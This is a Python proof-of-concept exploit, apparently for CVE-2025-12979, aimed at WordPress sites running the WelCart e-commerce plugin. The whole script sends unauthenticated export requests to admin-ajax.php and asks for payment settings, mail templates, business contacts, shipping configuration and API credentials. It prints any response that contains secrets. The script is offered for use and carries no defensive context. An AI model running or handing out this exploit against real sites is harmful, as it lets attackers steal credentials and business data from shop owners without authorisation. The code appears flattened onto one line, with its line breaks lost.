CVE-2025-12979

# CVE-2025-12979 PoC - WelCart e-Commerce Unauthorized Data Export # Target: WordPress site with WelCart plugin <= 2.11.24 import requests import sys import json target = sys.argv[1] if len(sys.argv) > 1 else "http://target-site.com" # Exploit the missing authorization check on usces_export action endpoints = [ "/wp-admin/admin-ajax.php?action=usces_export", "/wp-admin/admin-ajax.php", ] def exploit(target_url): """Attempt to export sensitive data without authentication""" # Data types that can be exported due to missing auth check data_types = [ "payment_settings", "mail_templates", "business_contact", "shipping_config", "api_credentials", ] print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-12979: Missing authorization check") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint for data_type in data_types: try: # Send request without any authentication data = { "action": "usces_export", "usces_export_type": data_type, } response = requests.post(url, data=data, timeout=10, verify=False) if response.status_code == 200: # Check if sensitive data was returned if "api" in response.text.lower() or "secret" in response.text.lower() or "credential" in response.text.lower(): print(f"[+] VULNERABLE! Exported {data_type} data:") print(response.text[:500]) return True elif "nonce" not in response.text.lower(): # No auth required print(f"[+] Potentially vulnerable - {data_type}") except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": exploit(target)

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